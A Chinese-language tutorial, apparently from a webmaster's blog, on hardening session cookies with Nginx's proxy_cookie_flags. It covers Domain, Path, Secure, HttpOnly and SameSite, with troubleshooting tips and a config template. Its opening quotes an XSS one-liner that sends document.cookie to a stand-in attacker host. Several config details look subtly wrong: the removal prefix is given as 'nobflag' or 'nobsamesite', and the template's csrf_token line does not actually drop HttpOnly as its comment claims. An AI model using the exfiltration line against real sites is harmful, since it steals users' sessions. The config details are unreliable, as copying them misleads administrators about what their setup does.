为什么你的登录态会被盗走
很多个人站长做安全加固时,注意力都放在服务器端口、防火墙、SSH 密钥上,却忽略了浏览器和服务器之间那个小小的 Set-Cookie 头。实际上,会话 Cookie 就是网站的第二把钥匙——攻击者拿到它,不需要破解你的密码,也不需要爆破 SSH,直接带上这个 Cookie 发请求,服务器就认为他就是你。
一个典型的翻车场景是这样的:站点里某个后台页面被 XSS 注入了一段脚本,脚本只有一行:
new Image().src = 'https://evil.example/x?c=' + document.cookie;如果你的会话 Cookie 没有设置 HttpOnly,这一行就能把登录凭据直接发到攻击者的服务器上。整个过程悄无声息,日志里看不到任何异常登录,因为攻击者用的就是你自己的合法会话。
这篇文章把 Cookie 的四个关键属性——Domain、Path、Secure、HttpOnly、SameSite——在 Nginx 层的实战配置和排查方法讲透,最后给出一份可以直接抄的配置模板。
先搞清楚 Cookie 的三类作用域属性
要正确加固,得先明白浏览器是按什么规则决定「这个 Cookie 该不该发给某个请求」的。这个判断分三步走,任何一步不匹配,Cookie 就不会被发送。
第一层:Domain(域匹配)。如果不显式设置 Domain,Cookie 默认是 Host-Only 的,只有请求完全匹配当前主机名时才发送,子域名拿不到。一旦你写了 Domain=example.com,那么 www.example.com、blog.example.com、static.example.com 全都会带上这个 Cookie。这就是很多站长的第一个坑:为了图方便在 .example.com 上种一个通用 Cookie,结果一个被挂马的子域或者一个第三方托管的静态资源域,都能拿到主站的会话凭据。
第二层:Path(路径匹配)。Path=/admin 意味着只有 /admin 及其子路径的请求才会带上 Cookie。这本来是很好的收敛手段,但现实中很多框架默认写的是 Path=/,等于全站可见。更有意思的是 Path 的匹配规则是前缀匹配而不是目录匹配,Path=/admin 同样会匹配到 /administrator 这个毫不相干的路径——排查时经常会在这里绕圈。
第三层:Secure 与 SameSite。这两个属性不决定「发给谁」,而决定「什么情况下才能被带上」和「跨站请求能不能带上」。这是现代浏览器重点管的两件事。
Secure:不是可有可无的开关
Secure 属性告诉浏览器:这个 Cookie 只允许通过 HTTPS 发送,HTTP 请求一律不带。听起来很基础,但它的实际作用比想象中更关键。
在没有 Secure 的情况下,一个页面即使本身是 HTTPS 的,只要有一次通过 HTTP 访问同域(比如用户手动输入了 http:// 开头的地址,或者站内某条老链接还是 HTTP),Cookie 就会在明文的 HTTP 请求里被发出去。同一网络下的攻击者用 ARP 欺骗或者公共 WiFi 抓包,就能直接拿到会话 ID。这叫 会话劫持(Session Hijacking),比暴力破解高效得多。
配置方式是在 Nginx 里对 Cookie 头做重写:
# 对所有后端返回的 Set-Cookie 追加 Secure 和 HttpOnly
proxy_cookie_flags ~ secure httponly;
# 如果只想对特定 Cookie 生效,用正则精确控制
proxy_cookie_flags ~*session secure httponly samesite=lax;proxy_cookie_flags 是 Nginx 1.19.3 之后才有的指令。如果你的环境是更老的版本,得用 proxy_cookie_path 结合 sub_filter 来凑,但那种做法容易出错,建议直接升级 Nginx。
需要提醒的是,Secure 属性一旦设置,本地用 HTTP 调试时会发现登录态完全失效——Cookie 种不上。这是正常的,不是配置错误。本地开发环境要么用 localhost 例外(浏览器对 localhost 的 Secure Cookie 有豁免),要么在开发环境的配置里单独把这行注释掉。不少站长第一次上线 Secure 后半夜被用户电话叫醒,就是因为测试环境忘了区分。
HttpOnly:把 Cookie 从 JavaScript 手里拿走
HttpOnly 的作用很单一但极其重要:让 document.cookie 读不到这个 Cookie。它不阻止浏览器在请求里自动携带,只是把 JavaScript 的读取权限掐掉。
这一条几乎可以完全防住 XSS 窃取会话这一条路。虽然 XSS 本身意味着攻击者可以在你的页面上执行任意脚本(他依然可以直接调用你的 API、模拟点击、修改页面内容),但至少他没法把会话 Cookie 导出到自己的服务器上慢慢用。攻击从「持久化控制」降级成「一次性操作」,危害面小一个数量级。
配置同样简单:
proxy_cookie_flags ~ httponly;但有个坑必须说清楚:HttpOnly 只对会话 Cookie 有效,不能全站无脑开。如果你的前端代码确实需要读取某个 Cookie(比如 CSRF Token、用户偏好、A/B 测试分组标记),把这个 Cookie 也设成 HttpOnly,前端会直接读不到值,表现为「登录后下拉框不显示用户名」「A/B 测试永远分到 A 组」这类诡异 bug。正确做法是分类处理——会话 ID 必须 HttpOnly,非敏感的展示类 Cookie 保持 JS 可读。
SameSite:现代浏览器最重要的一道跨站防线
SameSite 是这三个属性里最容易被忽略、也最容易配出问题的。它控制的核心问题是:当请求来自另一个站点时,浏览器要不要带上这个 Cookie。它防的是 CSRF(跨站请求伪造)。
它有三个取值,行为差异很大:
SameSite=Strict:最严格。任何跨站发起的请求都不带 Cookie。用户从百度搜索结果点进你的网站,浏览器会认为这是跨站导航,第一次请求不带 Cookie,于是站点显示「未登录」——用户必须先手点一下站内链接或者刷新,才会变成已登录状态。体验很割裂,一般只用于高敏感操作(比如支付、改密码)。
SameSite=Lax:默认值,也是绝大多数场景的最优解。它允许 Cookie 在顶层导航(也就是用户点击链接跳转、地址栏直接访问)时发送,但阻止 POST 表单、iframe、fetch、图片等子资源请求携带 Cookie。这样既保住了从搜索引擎点进来的登录态,又挡住了大部分 CSRF 攻击。
SameSite=None:明确允许跨站携带。这个值必须同时加上 Secure,否则现代浏览器直接拒绝整个 Cookie。它只用于确实需要跨站嵌入的场景,比如你的站点被第三方 iframe 嵌入并提供登录态、或者要跟另一个域名做单点登录互通。
Nginx 里可以这样统一处理:
# 主线站点:会话 Cookie 加 Lax
proxy_cookie_flags ~ samesite=lax;
# 单独放开某个确实需要跨站的 Cookie
proxy_cookie_flags ~*crosssite_cookie samesite=none secure;特别注意 proxy_cookie_flags 支持 flag 和 nobflag 两种写法。samesite=lax 是加上这个属性,而 nobflag 前缀是移除属性。当后端框架自己已经种了一个错误的 SameSite 值,你在 Nginx 层就得先移除再加:
proxy_cookie_flags ~*session nobsamesite samesite=lax secure httponly;常见故障与排查思路
症状一:加了 SameSite=Strict 后,用户从搜索引擎进来全变成未登录。这是最经典的误配。Strict 会拦掉跨站导航的 Cookie,用户体感就是「这个站老是掉登录」。解决办法是改回 Lax,或者至少不要对主会话 Cookie 用 Strict。
症状二:第三方 iframe 嵌入后登录态丢失。说明这个 Cookie 需要 SameSite=None; Secure。注意现代浏览器对「无 SameSite 属性」的 Cookie 默认按 Lax 处理,所以哪怕你什么都没配,跨站 iframe 里的请求也不会带 Cookie——这是 2020 年之后的行为变更,很多老站点的代码是那之前写的,迁过来就直接坏了。
症状三:设置了 Secure 但站点仍然是 HTTP,Cookie 全部种不上。检查浏览器开发者工具的 Application → Cookies 面板,看看这个 Cookie 有没有出现「Secure 但页面是 HTTP」的警告。Nginx 里可以用变量判断,只在 HTTPS 请求时追加 Secure:
map $scheme $cookie_secure_flag {
https "secure httponly samesite=lax";
default "httponly samesite=lax";
}
server {
location / {
proxy_cookie_flags ~ $cookie_secure_flag;
proxy_pass http://backend;
}
}这样 HTTP 调试和 HTTPS 生产环境可以共用一份配置,不用来回改。
症状四:Cookie 莫名其妙发给了子域名或第三方域。检查 Set-Cookie 里有没有 Domain=.yourdomain.com。如果没有特殊需求,直接删掉 Domain 属性,让它退回 Host-Only 模式,这是最安全的默认状态。
一份可以抄的完整配置
把上面的内容整合起来,一个面向个人站点的通用配置大概长这样:
map $scheme $cookie_flags_default {
https "secure httponly samesite=lax";
default "httponly samesite=lax";
}
server {
listen 443 ssl http2;
server_name www.example.com;
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto $scheme;
# 统一给后端种下的 Cookie 补上安全属性
proxy_cookie_flags ~ $cookie_flags_default;
# 前端确实需要读的 Cookie(如 CSRF Token)单独放开 HttpOnly
proxy_cookie_flags ~*csrf_token nobsamesite samesite=lax;
}
}配置完之后务必实测一遍。最直接的办法是打开浏览器开发者工具,在 Network 面板里找登录请求的响应头,逐条核对 Set-Cookie 的每个属性。再顺手看一下 Console 有没有黄底的 Cookie 警告,浏览器这几年对 Cookie 问题的提示相当直白,比翻文档快得多。
最后提醒一句:Cookie 安全属性是纵深防御里成本最低、收益最高的一环。它不能替代输入过滤、CSRF Token、WAF 这些东西,但只要花十分钟把上面几个属性配对,就能直接把「XSS 偷会话」和「跨站 CSRF」两条最常见的攻击路径堵死一大半。对个人站长来说,这是性价比极高的投入。